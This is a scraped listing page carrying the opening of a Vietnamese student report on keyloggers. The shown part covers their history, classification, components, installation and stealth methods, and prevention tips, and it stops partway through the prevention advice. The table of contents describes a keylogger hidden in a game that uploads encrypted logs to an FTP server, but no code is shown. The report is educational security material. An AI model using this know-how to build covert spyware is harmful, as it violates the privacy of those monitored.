Báo cáo ATTT CÁC DẠNG TẤN CÔNG SQL INJECTIONBáo cáo ATTT CÁC DẠNG TẤN CÔNG SQL INJECTION
Báo cáo ATTT CÁC DẠNG TẤN CÔNG SQL INJECTIONnataliej4
 
Bài giảng kiểm thử xâm nhập PTIT
Bài giảng kiểm thử xâm nhập PTITBài giảng kiểm thử xâm nhập PTIT
Bài giảng kiểm thử xâm nhập PTITNguynMinh294
 
Đề tài: Tìm hiểu công cụ quản trị mạng Solawinds Toolset 10.7 - Gửi miễn phí ...
Đề tài: Tìm hiểu công cụ quản trị mạng Solawinds Toolset 10.7 - Gửi miễn phí ...Đề tài: Tìm hiểu công cụ quản trị mạng Solawinds Toolset 10.7 - Gửi miễn phí ...
Đề tài: Tìm hiểu công cụ quản trị mạng Solawinds Toolset 10.7 - Gửi miễn phí ...Dịch vụ viết bài trọn gói ZALO: 0909232620
 
BÁO CÁO CÔNG NGHỆ PHẦN MỀM 8 điểm-QUẢN LÝ CỬA HÀNG BÁN MÁY ẢNH
BÁO CÁO CÔNG NGHỆ PHẦN MỀM 8 điểm-QUẢN LÝ CỬA HÀNG BÁN MÁY ẢNHBÁO CÁO CÔNG NGHỆ PHẦN MỀM 8 điểm-QUẢN LÝ CỬA HÀNG BÁN MÁY ẢNH
BÁO CÁO CÔNG NGHỆ PHẦN MỀM 8 điểm-QUẢN LÝ CỬA HÀNG BÁN MÁY ẢNHHoà Đoàn
 
Phân tích mã độc cơ bản - báo cáo thực tập
Phân tích mã độc cơ bản - báo cáo thực tậpPhân tích mã độc cơ bản - báo cáo thực tập
Phân tích mã độc cơ bản - báo cáo thực tậpPhạm Trung Đức
 
Báo cáo môn đảm bảo chất lượng phần mềm
Báo cáo môn đảm bảo chất lượng phần mềmBáo cáo môn đảm bảo chất lượng phần mềm
Báo cáo môn đảm bảo chất lượng phần mềmThuyet Nguyen
 
Báo cáo thực tập hàng tuần - Các chuẩn bảo mật web (OWASP)
Báo cáo thực tập hàng tuần - Các chuẩn bảo mật web (OWASP)Báo cáo thực tập hàng tuần - Các chuẩn bảo mật web (OWASP)
Báo cáo thực tập hàng tuần - Các chuẩn bảo mật web (OWASP)Luc Cao
 
Phân tích thiết kế hệ thống thông tin PTIT
Phân tích thiết kế hệ thống thông tin PTIT Phân tích thiết kế hệ thống thông tin PTIT
Phân tích thiết kế hệ thống thông tin PTIT NguynMinh294
 
Tìm hiểu về kỹ thuật Kiểm thử phần mềm
Tìm hiểu về kỹ thuật Kiểm thử phần mềmTìm hiểu về kỹ thuật Kiểm thử phần mềm
Tìm hiểu về kỹ thuật Kiểm thử phần mềmNguyễn Anh
 
Bài giảng công nghệ phần mềm PTIT
Bài giảng công nghệ phần mềm PTITBài giảng công nghệ phần mềm PTIT
Bài giảng công nghệ phần mềm PTITNguynMinh294
 
ChuyenDeANM ung dung he thong IDS securityonion vao giam sat moi truong mang ...
ChuyenDeANM ung dung he thong IDS securityonion vao giam sat moi truong mang ...ChuyenDeANM ung dung he thong IDS securityonion vao giam sat moi truong mang ...
ChuyenDeANM ung dung he thong IDS securityonion vao giam sat moi truong mang ...nataliej4
 
Đề tài: Nghiên cứu Hệ thống Honeypots và Honeynet nhằm nghiên cứu một số kỹ t...
Đề tài: Nghiên cứu Hệ thống Honeypots và Honeynet nhằm nghiên cứu một số kỹ t...Đề tài: Nghiên cứu Hệ thống Honeypots và Honeynet nhằm nghiên cứu một số kỹ t...
Đề tài: Nghiên cứu Hệ thống Honeypots và Honeynet nhằm nghiên cứu một số kỹ t...Viết thuê trọn gói ZALO 0934573149
 
Phân tích thiết kế hệ thống thông tin quản lý bán hàng của công ty cổ phần qu...
Phân tích thiết kế hệ thống thông tin quản lý bán hàng của công ty cổ phần qu...Phân tích thiết kế hệ thống thông tin quản lý bán hàng của công ty cổ phần qu...
Phân tích thiết kế hệ thống thông tin quản lý bán hàng của công ty cổ phần qu...Dịch vụ Làm Luận Văn 0936885877
 

Was ist angesagt? (20)

Luận văn: Xây dựng website quản lý nhà hàng, HOT
Luận văn: Xây dựng website quản lý nhà hàng, HOTLuận văn: Xây dựng website quản lý nhà hàng, HOT
Luận văn: Xây dựng website quản lý nhà hàng, HOT
 
Tim hieu lo hong web va cach phong chong
Tim hieu lo hong web va cach phong chongTim hieu lo hong web va cach phong chong
Tim hieu lo hong web va cach phong chong
 
Báo cáo ATTT CÁC DẠNG TẤN CÔNG SQL INJECTION
Báo cáo ATTT CÁC DẠNG TẤN CÔNG SQL INJECTIONBáo cáo ATTT CÁC DẠNG TẤN CÔNG SQL INJECTION
Báo cáo ATTT CÁC DẠNG TẤN CÔNG SQL INJECTION
 
Bài giảng kiểm thử xâm nhập PTIT
Bài giảng kiểm thử xâm nhập PTITBài giảng kiểm thử xâm nhập PTIT
Bài giảng kiểm thử xâm nhập PTIT
 
Đề tài: Phần mềm quản lý thông tin sinh viên, HOT, 9đ
Đề tài: Phần mềm quản lý thông tin sinh viên, HOT, 9đĐề tài: Phần mềm quản lý thông tin sinh viên, HOT, 9đ
Đề tài: Phần mềm quản lý thông tin sinh viên, HOT, 9đ
 
Đề tài: Tìm hiểu công cụ quản trị mạng Solawinds Toolset 10.7 - Gửi miễn phí ...
Đề tài: Tìm hiểu công cụ quản trị mạng Solawinds Toolset 10.7 - Gửi miễn phí ...Đề tài: Tìm hiểu công cụ quản trị mạng Solawinds Toolset 10.7 - Gửi miễn phí ...
Đề tài: Tìm hiểu công cụ quản trị mạng Solawinds Toolset 10.7 - Gửi miễn phí ...
 
BÁO CÁO CÔNG NGHỆ PHẦN MỀM 8 điểm-QUẢN LÝ CỬA HÀNG BÁN MÁY ẢNH
BÁO CÁO CÔNG NGHỆ PHẦN MỀM 8 điểm-QUẢN LÝ CỬA HÀNG BÁN MÁY ẢNHBÁO CÁO CÔNG NGHỆ PHẦN MỀM 8 điểm-QUẢN LÝ CỬA HÀNG BÁN MÁY ẢNH
BÁO CÁO CÔNG NGHỆ PHẦN MỀM 8 điểm-QUẢN LÝ CỬA HÀNG BÁN MÁY ẢNH
 
SQL Injection
SQL InjectionSQL Injection
SQL Injection
 
Luận văn: Quản lý điểm sinh viên theo học chế tín chỉ, HAY
Luận văn: Quản lý điểm sinh viên theo học chế tín chỉ, HAYLuận văn: Quản lý điểm sinh viên theo học chế tín chỉ, HAY
Luận văn: Quản lý điểm sinh viên theo học chế tín chỉ, HAY
 
Phân tích mã độc cơ bản - báo cáo thực tập
Phân tích mã độc cơ bản - báo cáo thực tậpPhân tích mã độc cơ bản - báo cáo thực tập
Phân tích mã độc cơ bản - báo cáo thực tập
 
Báo cáo môn đảm bảo chất lượng phần mềm
Báo cáo môn đảm bảo chất lượng phần mềmBáo cáo môn đảm bảo chất lượng phần mềm
Báo cáo môn đảm bảo chất lượng phần mềm
 
Đề tài: Nghiên cứu kỹ thuật tấn công mạng LAN và giải pháp, HAY
Đề tài: Nghiên cứu kỹ thuật tấn công mạng LAN và giải pháp, HAYĐề tài: Nghiên cứu kỹ thuật tấn công mạng LAN và giải pháp, HAY
Đề tài: Nghiên cứu kỹ thuật tấn công mạng LAN và giải pháp, HAY
 
Đề tài: Xây Dựng Chương Trình Quản Lý Nhà Hàng Coffee SEN
Đề tài: Xây Dựng Chương Trình Quản Lý Nhà Hàng Coffee SENĐề tài: Xây Dựng Chương Trình Quản Lý Nhà Hàng Coffee SEN
Đề tài: Xây Dựng Chương Trình Quản Lý Nhà Hàng Coffee SEN
 
Báo cáo thực tập hàng tuần - Các chuẩn bảo mật web (OWASP)
Báo cáo thực tập hàng tuần - Các chuẩn bảo mật web (OWASP)Báo cáo thực tập hàng tuần - Các chuẩn bảo mật web (OWASP)
Báo cáo thực tập hàng tuần - Các chuẩn bảo mật web (OWASP)
 
Phân tích thiết kế hệ thống thông tin PTIT
Phân tích thiết kế hệ thống thông tin PTIT Phân tích thiết kế hệ thống thông tin PTIT
Phân tích thiết kế hệ thống thông tin PTIT
 
Tìm hiểu về kỹ thuật Kiểm thử phần mềm
Tìm hiểu về kỹ thuật Kiểm thử phần mềmTìm hiểu về kỹ thuật Kiểm thử phần mềm
Tìm hiểu về kỹ thuật Kiểm thử phần mềm
 
Bài giảng công nghệ phần mềm PTIT
Bài giảng công nghệ phần mềm PTITBài giảng công nghệ phần mềm PTIT
Bài giảng công nghệ phần mềm PTIT
 
ChuyenDeANM ung dung he thong IDS securityonion vao giam sat moi truong mang ...
ChuyenDeANM ung dung he thong IDS securityonion vao giam sat moi truong mang ...ChuyenDeANM ung dung he thong IDS securityonion vao giam sat moi truong mang ...
ChuyenDeANM ung dung he thong IDS securityonion vao giam sat moi truong mang ...
 
Đề tài: Nghiên cứu Hệ thống Honeypots và Honeynet nhằm nghiên cứu một số kỹ t...
Đề tài: Nghiên cứu Hệ thống Honeypots và Honeynet nhằm nghiên cứu một số kỹ t...Đề tài: Nghiên cứu Hệ thống Honeypots và Honeynet nhằm nghiên cứu một số kỹ t...
Đề tài: Nghiên cứu Hệ thống Honeypots và Honeynet nhằm nghiên cứu một số kỹ t...
 
Phân tích thiết kế hệ thống thông tin quản lý bán hàng của công ty cổ phần qu...
Phân tích thiết kế hệ thống thông tin quản lý bán hàng của công ty cổ phần qu...Phân tích thiết kế hệ thống thông tin quản lý bán hàng của công ty cổ phần qu...
Phân tích thiết kế hệ thống thông tin quản lý bán hàng của công ty cổ phần qu...
 

Andere mochten auch

Các thuật toán mã hóa
Các thuật toán mã hóaCác thuật toán mã hóa
Các thuật toán mã hóadlmonline24h
 
Báo cáo tốt nghiệp kế toán nguyên vật liệu
Báo cáo tốt nghiệp kế toán nguyên vật liệuBáo cáo tốt nghiệp kế toán nguyên vật liệu
Báo cáo tốt nghiệp kế toán nguyên vật liệuHọc kế toán thực tế
 
Bài 2: Phần mềm độc hại và các dạng tấn công sử dụng kỹ nghệ xã hội - Giáo tr...
Bài 2: Phần mềm độc hại và các dạng tấn công sử dụng kỹ nghệ xã hội - Giáo tr...Bài 2: Phần mềm độc hại và các dạng tấn công sử dụng kỹ nghệ xã hội - Giáo tr...
Bài 2: Phần mềm độc hại và các dạng tấn công sử dụng kỹ nghệ xã hội - Giáo tr...MasterCode.vn
 

Andere mochten auch (6)

Explaining Peptide Prophet
Explaining Peptide ProphetExplaining Peptide Prophet
Explaining Peptide Prophet
 
Ứng dụng CNTT trong quản lý tài sản tại Bộ KH&CN
Ứng dụng CNTT trong quản lý tài sản tại Bộ KH&CNỨng dụng CNTT trong quản lý tài sản tại Bộ KH&CN
Ứng dụng CNTT trong quản lý tài sản tại Bộ KH&CN
 
User Control
User ControlUser Control
User Control
 
Các thuật toán mã hóa
Các thuật toán mã hóaCác thuật toán mã hóa
Các thuật toán mã hóa
 
Báo cáo tốt nghiệp kế toán nguyên vật liệu
Báo cáo tốt nghiệp kế toán nguyên vật liệuBáo cáo tốt nghiệp kế toán nguyên vật liệu
Báo cáo tốt nghiệp kế toán nguyên vật liệu
 
Bài 2: Phần mềm độc hại và các dạng tấn công sử dụng kỹ nghệ xã hội - Giáo tr...
Bài 2: Phần mềm độc hại và các dạng tấn công sử dụng kỹ nghệ xã hội - Giáo tr...Bài 2: Phần mềm độc hại và các dạng tấn công sử dụng kỹ nghệ xã hội - Giáo tr...
Bài 2: Phần mềm độc hại và các dạng tấn công sử dụng kỹ nghệ xã hội - Giáo tr...
 

Ähnlich wie Tìm hiểu keylogger và thiết kế chương trình keylogger

SYSTEM HACKING - TUẦN 2
SYSTEM HACKING - TUẦN 2SYSTEM HACKING - TUẦN 2
SYSTEM HACKING - TUẦN 2Con Ranh
 
SYSTEM HACKING - TUẦN 1
SYSTEM HACKING - TUẦN 1SYSTEM HACKING - TUẦN 1
SYSTEM HACKING - TUẦN 1Con Ranh
 
Báo cáo lần 1
Báo cáo lần 1Báo cáo lần 1
Báo cáo lần 1Anhh Hữu
 
Bao caothuctap
Bao caothuctapBao caothuctap
Bao caothuctapLong Prồ
 
Vu tuananh
Vu tuananhVu tuananh
Vu tuananhVũ Anh
 
Vu tuananh
Vu tuananhVu tuananh
Vu tuananhVũ Anh
 
Báo cáo cuối kì system hacking-Trần Nguyễn Lộc
Báo cáo cuối kì system hacking-Trần Nguyễn LộcBáo cáo cuối kì system hacking-Trần Nguyễn Lộc
Báo cáo cuối kì system hacking-Trần Nguyễn LộcLoc Tran
 
Tai lieu huong_dan_su_dung_backtrack_5_2524
Tai lieu huong_dan_su_dung_backtrack_5_2524Tai lieu huong_dan_su_dung_backtrack_5_2524
Tai lieu huong_dan_su_dung_backtrack_5_2524Ngô Đăng Tân
 
Báo cáo thực tập - Lần 1 - Hoàng Thanh Quý
Báo cáo thực tập - Lần 1 - Hoàng Thanh QuýBáo cáo thực tập - Lần 1 - Hoàng Thanh Quý
Báo cáo thực tập - Lần 1 - Hoàng Thanh QuýQuý Đồng Nast
 
Tổng kết Báo cáo thực tập Athena - Hoàng Thanh Quý
Tổng kết Báo cáo thực tập Athena - Hoàng Thanh QuýTổng kết Báo cáo thực tập Athena - Hoàng Thanh Quý
Tổng kết Báo cáo thực tập Athena - Hoàng Thanh QuýQuý Đồng Nast
 
Báo cáo tổng kết thực tập athena
Báo cáo tổng kết thực tập athenaBáo cáo tổng kết thực tập athena
Báo cáo tổng kết thực tập athenaQuý Đồng Nast
 
Tuan vq bao cao thuc tap_ system hacking
Tuan vq bao cao thuc tap_ system hackingTuan vq bao cao thuc tap_ system hacking
Tuan vq bao cao thuc tap_ system hackingv7q3t
 
Malware - Thieu Mao - KSEC
Malware - Thieu Mao - KSECMalware - Thieu Mao - KSEC
Malware - Thieu Mao - KSECThieu Mao
 
Báo Cáo thực tập _ system hacking
Báo Cáo thực tập _ system hackingBáo Cáo thực tập _ system hacking
Báo Cáo thực tập _ system hackingAnhh Hữu
 
Report athena week 1
Report athena week 1Report athena week 1
Report athena week 1Liên Hán
 
Monitoring event 20130525_chinhsua
Monitoring event 20130525_chinhsuaMonitoring event 20130525_chinhsua
Monitoring event 20130525_chinhsuaLuong Trung Thanh
 

Ähnlich wie Tìm hiểu keylogger và thiết kế chương trình keylogger (20)

SYSTEM HACKING - TUẦN 2
SYSTEM HACKING - TUẦN 2SYSTEM HACKING - TUẦN 2
SYSTEM HACKING - TUẦN 2
 
SYSTEM HACKING - TUẦN 1
SYSTEM HACKING - TUẦN 1SYSTEM HACKING - TUẦN 1
SYSTEM HACKING - TUẦN 1
 
Báo cáo lần 1
Báo cáo lần 1Báo cáo lần 1
Báo cáo lần 1
 
Bao caothuctap
Bao caothuctapBao caothuctap
Bao caothuctap
 
Vu tuananh
Vu tuananhVu tuananh
Vu tuananh
 
Vu tuananh
Vu tuananhVu tuananh
Vu tuananh
 
Báo cáo cuối kì system hacking-Trần Nguyễn Lộc
Báo cáo cuối kì system hacking-Trần Nguyễn LộcBáo cáo cuối kì system hacking-Trần Nguyễn Lộc
Báo cáo cuối kì system hacking-Trần Nguyễn Lộc
 
Tai lieu huong_dan_su_dung_backtrack_5_2524
Tai lieu huong_dan_su_dung_backtrack_5_2524Tai lieu huong_dan_su_dung_backtrack_5_2524
Tai lieu huong_dan_su_dung_backtrack_5_2524
 
Báo cáo thực tập - Lần 1 - Hoàng Thanh Quý
Báo cáo thực tập - Lần 1 - Hoàng Thanh QuýBáo cáo thực tập - Lần 1 - Hoàng Thanh Quý
Báo cáo thực tập - Lần 1 - Hoàng Thanh Quý
 
Tổng kết Báo cáo thực tập Athena - Hoàng Thanh Quý
Tổng kết Báo cáo thực tập Athena - Hoàng Thanh QuýTổng kết Báo cáo thực tập Athena - Hoàng Thanh Quý
Tổng kết Báo cáo thực tập Athena - Hoàng Thanh Quý
 
Báo cáo tổng kết thực tập athena
Báo cáo tổng kết thực tập athenaBáo cáo tổng kết thực tập athena
Báo cáo tổng kết thực tập athena
 
Tuan vq bao cao thuc tap_ system hacking
Tuan vq bao cao thuc tap_ system hackingTuan vq bao cao thuc tap_ system hacking
Tuan vq bao cao thuc tap_ system hacking
 
Malware - Thieu Mao - KSEC
Malware - Thieu Mao - KSECMalware - Thieu Mao - KSEC
Malware - Thieu Mao - KSEC
 
Virus full
Virus fullVirus full
Virus full
 
Tuan 3
Tuan 3Tuan 3
Tuan 3
 
Báo Cáo thực tập _ system hacking
Báo Cáo thực tập _ system hackingBáo Cáo thực tập _ system hacking
Báo Cáo thực tập _ system hacking
 
Report athena week 1
Report athena week 1Report athena week 1
Report athena week 1
 
Tùy biến Confuser
Tùy biến ConfuserTùy biến Confuser
Tùy biến Confuser
 
Monitoring event 20130525_chinhsua
Monitoring event 20130525_chinhsuaMonitoring event 20130525_chinhsua
Monitoring event 20130525_chinhsua
 
Kỹ thuật giấu tin văn bản trong hình ảnh dựa trên hàm modulus
Kỹ thuật giấu tin văn bản trong hình ảnh dựa trên hàm modulusKỹ thuật giấu tin văn bản trong hình ảnh dựa trên hàm modulus
Kỹ thuật giấu tin văn bản trong hình ảnh dựa trên hàm modulus
 

Tìm hiểu keylogger và thiết kế chương trình keylogger

  • 1. i LỜI CẢM ƠN Trên thực tế không có sự thành công nào mà không gắn liền với những sự hỗ trợ, giúp đỡ dù ít hay nhiều, dù trực tiếp hay gián tiếp của người khác. Trong suốt thời gian từ khi bắt đầu thực tập đến nay, em đã nhận được rất nhiều sự quan tâm, giúp đỡ của quý Thầy Cô, gia đình và bạn bè. Với lòng biết ơn sâu sắc nhất, em xin gửi đến quý Thầy Cô đã cùng với tri thức và tâm huyết của mình để truyền đạt vốn kiến thức quý báu cho chúng em trong suốt thời gian thực tập tại trường. Và đặc biệt Em xin chân thành cảm ơn thầy Võ Đỗ Thắng đã tận tâm hướng dẫn chúng em qua buổi nói chuyện, thảo luận về đề tài thực, và khảo sát hướng nghiệp. Nếu không có những lời hướng dẫn, dạy bảo của thầy thì em nghĩ bài báo cáo này của em rất khó có thể hoàn thiện được. Một lần nữa, em xin chân thành cảm ơn thầy. Bài báo cáo được thực hiện trong khoảng thời gian gần 8 tuần. Lần đầu tiên bước vào một đề tài. Do vậy, không tránh khỏi những thiếu sót là điều chắc chắn, em rất mong nhận được những ý kiến đóng góp quý báu của quý Thầy Cô và các bạn học cùng lớp để kiến thức của em trong lĩnh vực này được hoàn thiện hơn.
  • 2. ii MỤC LỤC Trang LỜI CẢM ƠN ................................................................................................................I DANH MỤC CÁC BẢNG, SƠ ĐỒ, HÌNH ..............................................................III LỜI MỞ ĐẦU ................................................................................................................1 CHƯƠNG I: TÌM HIỂU KEYLOGGER VÀ CÁCH PHÒNG CHỐNG KEYLOGGER...............................................................................................................2 1.1 LỊCH SỬ VỀ KEYLOGGER..............................................................................2 1.2 KHÁI NIỆM VỀ KEYLOGGER .......................................................................2 1.3 PHÂN LOẠI KEYLOGGER ..............................................................................2 1.4 CÁCH HOẠT ĐỘNG CỦA KEYLOGGER.......................................................3 1.5 CÁCH PHÒNG, TRÁNH VÀ PHÁT HIỆN KEYLOGGER............................4 1.6 MỘT SỐ CÁCH TÌM DIỆT VÀ XÓA KEYLOGGER HIỆU QUẢ VỚI MỘT SỐ HỆ ĐIỀU HÀNH NHẤT ĐỊNH VÀ KEYLOGGER PHỔ BIẾN. .........7 CHƯƠNG II:GIỚI THIỆU CHƯƠNG TRÌNH KEYLOGGER ...........................10 2.1 CÁC KIẾN THỨC LIÊN QUAN ĐỂ PHÁT TRIỂN CHƯƠNG TRÌNH KEYLOGGER....10 2.1.1 Tìm hiểu về hàm xác định phím đã được ấn.................................................10 2.1.2 Tìm hiểu về thuật toán mã hóa file Log.........................................................10 2.1.3 Tìm hiểu một số hàm của Windows phục vụ cho việc upload file log tới FTP server của chúng ta. .......................................................................................10 2.2 KẾT QUẢ CỦA CHƯƠNG TRÌNH KEYLOGGER......................................................16 CHƯƠNG III .DEMO CHƯƠNG TRÌNH KEYLOGGER....................................18 3.1 GIAO DIỆN TRÒ CHƠI CHE GIẤU CHƯƠNG TRÌNH KEYLOGGER ..18 3.2 GIAO DIỆN CHÍNH CỦA CHƯƠNG TRÌNH KEYLOGGER....................................19 3.3 THAO TÁC THIẾT LẬP CHO FTP SERVER ...............................................19 3.4 KHỞI TẠO FILE LOG ............................................................................................20 3.5 KẾT QUẢ CHẠY CHƯƠNG TRÌNH KEYLOGGER ..................................21 KẾT LUẬN ..................................................................................................................22 PHỤ LỤC .....................................................................................................................23 TÀI LIỆU THAM KHẢO...........................................................................................37
  • 3. iii DANH MỤC CÁC BẢNG, SƠ ĐỒ, HÌNH HÌNH3.1.GIAO DIỆN TRÒ CHƠI CHE GIẤU KEYLOGGER...........................18 HÌNH 3.2 .GIAO DIỆN CHÍNH CỦA CHƯƠNG TRÌNH KEYLOGGER..........19 HÌNH 3.3.GIAO DIỆN TẠO FTP SERVER ............................................................19 HÌNH 3.4.THIẾT LẬP THAM SỐ CHO FTP SERVER........................................20 HÌNH 3.5. TẠO THƯ MỤC VÀ FILE ......................................................................21 HÌNH 3.6 .KẾT QUẢ CHẠY CHƯƠNG TRÌNH KEYLOGGER ........................21
  • 4. BÁO CAO TTTN ĐẠI HỌC LỞI MỞ ĐẦU SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 1 LỜI MỞ ĐẦU Keylogger là một loại phần mềm gián điệp, xuyên suốt trong đề tài này sẽ giúp chúng ta có cái nhìn tổng quan về Keylogger từ cách thức hoạt động cho đến cách phòng, tránh và cách phát hiện Keylogger. Một vấn đề quan trọng nữa đó là sẽ biết được ưu nhược điểm của Keylogger. Qua những hiểu biết cơ bản đó sẽ giúp chúng ta xây dựng một chương trình Keylogger. Để hiểu rõ hơn về keylogger chúng ta sẽ đi vào chi tiết từng phần theo sau dưới đây.
  • 5. BÁO CAO TTTN ĐẠI HỌC CHƯƠNG I. TÌM HIỂU KEYLIGER SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 2 CHƯƠNG I: TÌM HIỂU KEYLOGGER VÀ CÁCH PHÒNG CHỐNG KEYLOGGER Tóm tắt:Tiếp cận chương này chúng ta sẽ có một kiến thức cơ bản về Keylogger, Keylogger được chia làm mấy loại hay sẽ giúp chúng ta biết cách phòng, tránh và phát hiện Keylogger ra sao. Việc tìm hiểu các kiến thức cơ bản này là rất cần thiết để chúng ta có thể xây dựng chương trình Keylogger. Ngoài ra việc hiểu được bản chất và cách thức hoạt động của Keylogger sẽ giúp chúng ta phát triển chương trình Anti-Keylogger sau này. 1.1 Lịch Sử về Keylogger Keylogger đã tồn tại trong rất nhiều năm qua. Lịch sử của Keylogger không thể biết chính xác. Người ta tin rằng nó được xuất hiện đầu tiên bởi chính phủ và không biết ngày phát hành chính xác của Keylogger. Tuy nhiên cũng có nhiều người tin rằng nó được xuất hiện trong đầu những năm 90. 1.2 Khái niệm về Keylogger Keylogger hay "Trình theo dõi thao tác bàn phím" theo cách dịch ra tiếng Việt là một chương trình máy tính ban đầu được viết nhằm mục đích theo dõi và ghi lại mọi thao tác thực hiện trên bàn phím vào một tập tin nhật ký (log) để cho người cài đặt nó sử dụng. Vì chức năng mang tính vi phạm vào riêng tư của người khác này nên các trình keylogger được xếp vào nhóm các phần mềm gián điệp. Về sau khi keylogger phát triển cao hơn nó không những ghi lại thao tác bàn phím mà còn ghi lại cả các hình ảnh hiển thị trên màn hình (screen) bằng cách chụp (screen-shot) hoặc quay phim (screen-capture) thậm chí còn ghi nhận cách con trỏ chuột trên máy tính di chuyển. 1.3 Phân loại Keylogger Keylogger bao gồm hai loại, một loại là keylogger phần cứng và một loại là phần mềm. Thực tế hiện nay loại Keylogger phần mềm được sử dụng nhiều hơn so với Keylogger phần cứng. Theo những người lập trình, keylogger viết ra với chỉ có một mục đích duy nhất là giúp các bạn giám sát con cái, người thân xem họ làm gì với PC, với internet, khi chat với người lạ. Nhưng cách sử dụng và chức năng của keylogger hiện tại trên thế giới khiến người ta thường hay phân loại keylogger theo mức độ nguy hiểm bằng các câu hỏi:  Nhiễm vào máy không qua cài đặt hoặc cài đặt vào máy nhanh (Quick install)?  Có thuộc tính ẩn hoặc giấu trên trình quản lí tiến trình (Process manager) và trình cài đặt và gỡ bỏ chương trình (Add or Remove Program)?
  • 6. BÁO CAO TTTN ĐẠI HỌC CHƯƠNG I. TÌM HIỂU KEYLIGER SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 3  Theo dõi không thông báo hoặc máy tính (PC) bị nhiễm khó tự phát hiện?  Có thêm chức năng Capturescreen hoặc ghi lại thao tác chuột?  Khó tháo gỡ?  Có khả năng lây nhiễm, chống tắt (Kill process)? Cứ mỗi câu trả lời "có", sẽ cho một điểm. Điểm càng cao, Keylogger càng vượt khỏi mục đích giám sát (Monitoring) đến với mục đích do thám (Spying) và tính nguy hiểm nó càng cao. Keylogger có thể được phân loại theo số điểm: Loại số 1 Không điểm: Keylogger loại bình thường; chạy công khai, có thông báo cho người bị theo dõi, đúng với mục đích giám sát. Loại số 2 Một đến hai điểm: Keylogger nguy hiểm. Keylogger loại này sẽ chạy ngầm, hướng đến mục đích do thám nhiều hơn là giám sát (nguy hại đến các thông tin cá nhân như là tài khoản cá nhân, mật khẩu, thẻ tín dụng vì người dùng không biết). Loại số 3 Ba đến năm điểm: Keylogger loại này rất nguy hiểm, ẩn giấu hoàn toàn theo dõi trên một phạm vi rộng, mục đích do thám rõ ràng. Loại số 4 Sáu điểm: Keylogger nguy hiểm nghiêm trọng, thường được mang theo bởi các trojan-virus cực kỳ khó tháo gỡ, là loại keylogger nguy hiểm nhất. Chính vì vậy (và cũng do đồng thời là "đồng bọn" của Trojan-virus) nó thường hay bị các chương trình chống virus tìm thấy và tiêu diệt. 1.4 Cách hoạt động của Keylogger Thành phần của Keylogger Thông thường, một chương trình keylogger sẽ gồm có ba phần chính:  Chương trình điều khiển (Control Program): dùng để điều phối hoạt động, tinh chỉnh các thiết lập, xem các tập tin nhật ký cho Keylogger. Phần này là phần được giấu kỹ nhất của keylogger, thông thường chỉ có thể gọi ra bằng một tổ hợp phím tắt đặc biệt.  Tập tin hook, hoặc là một chương trình monitor dùng để ghi nhận lại các thao tác bàn phím, capture screen (đây là phần quan trọng nhất).  Tập tin nhật ký (log), nơi chứa đựng hoặc ghi lại toàn bộ những gì hook ghi nhận được.
  • 7. BÁO CAO TTTN ĐẠI HỌC CHƯƠNG I. TÌM HIỂU KEYLIGER SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 4  Ngoài ra, tùy theo loại có thể có thêm phần chương trình bảo vệ (guard, protect), chương trình thông báo (report)… Cách thức cài đặt vào máy Các loại Keylogger từ 1 tới 3 thông thường khi cài đặt vào máy cũng giống như mọi chương trình máy tính khác, đều phải qua bước cài đặt. Đầu tiên nó sẽ cài đặt các tập tin dùng để hoạt động vào một thư mục đặc biệt (rất phức tạp), sau đó đăng ký cách thức hoạt động rồi đợi người dùng thiết lập thêm các ứng dụng. Sau đó nó bắt đầu hoạt động. Loại keylogger số 4 có thể vào thẳng máy của người dùng bỏ qua bước cài đặt, dùng tính năng Autorun để cùng chạy với hệ thống. Một số loại tự thả (drop) mình vào các chương trình khác, để khi người dùng sử dụng các chương trình này Keylogger sẽ tự động chạy theo. Cách hoạt động Trong một hệ thống (Windows, Linux, Mac…), khi bấm 1 phím trên bàn phím, bàn phím sẽ chuyển nó thành tín hiệu chuyển vào CPU. CPU sẽ chuyển nó tới hệ điều hành để hệ điều hành dịch thành chữ hoặc số cho chính nó hoặc các chương trình khác sử dụng. Nhưng khi trong hệ thống đó có Keylogger, không những chỉ có hệ điều hành theo dõi mà cả hook file hoặc monitor program của Keylogger theo dõi nó sẽ ghi nhận và dịch lại các tính hiệu ghi vào tập tin nhật ký. Đồng thời nó còn có thể theo dõi cả màn hình và thao tác chuột. 1.5 Cách phòng, tránh và phát hiện Keylogger Phòng Keylogger thường cài đặt vào máy qua hai con đường chính: được cài đặt hoặc bị cài đặt. Phòng ngừa "được cài đặt” Phương pháp sau chỉ có tác dụng với chủ máy (người nắm quyền root hoặc administrator). Cách tốt nhất là không cho ai sử dụng chung máy tính. Bảo mật máy bằng cách khóa lại bằng các chương trình bảo vệ, hoặc mật khẩu khi đi đâu đó. Nếu phải dùng chung nên thiết lập quyền của người dùng chung đó thật thấp (guest đối với Windows XP, user đối với Linux) để kiểm soát việc cài đặt chương trình của họ. Phòng ngừa "bị cài đặt” Bị cài đặt là cách để nói đến các trường hợp Keylogger vào máy không do người nào đó trực tiếp đưa vào trên máy đó mà do Trojan, Virus, Spyware cài đặt vào máy nạn nhân mà nạn nhân không hề hay biết. Các biện pháp phòng ngừa:
  • 8. BÁO CAO TTTN ĐẠI HỌC CHƯƠNG I. TÌM HIỂU KEYLIGER SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 5  Không tùy tiện mở các tập tin lạ, không rõ nguồn gốc (đặc biệt chú ý các tập tin có đuôi *.exe, *.com, *.bat, *.scr, *.swf, *.zip, *.rar, *.js, *.gif…). Tốt nhất là nên xóa đi, hoặc kiểm tra (scan) bằng một chương trình antivirus và một chương trình antispyware, vì nhiều chương trình antivirus chỉ có thể tìm thấy virus, không thể nhận biết spyware.  Không vào các trang web lạ, đặc biệt là web "tươi mát" vì có thể các trang web này ẩn chứa một loại worm, virus, hoặc là mã độc nào đó có thể âm thầm cài đặt.  Không click vào các đường link lạ do ai đó gửi cho chúng ta.  Không cài đặt các chương trình lạ (vì nó có thể chứa virus, trojan).  Không download chương trình từ các nguồn không tin cậy. Nếu có thể xem xét chữ ký điện tử, để chắc chắn chương trình không bị sửa đổi.  Hạn chế download và sử dụng cracked-program.  Luôn luôn tự bảo vệ mình bằng các chương trình chuyên dùng chống virus, chống spyware (antivirus, antispyware) và dựng tường lửa (firewall) khi ở trong Internet.  Thường xuyên cập nhật đầy đủ các bản cập nhật bảo mật của 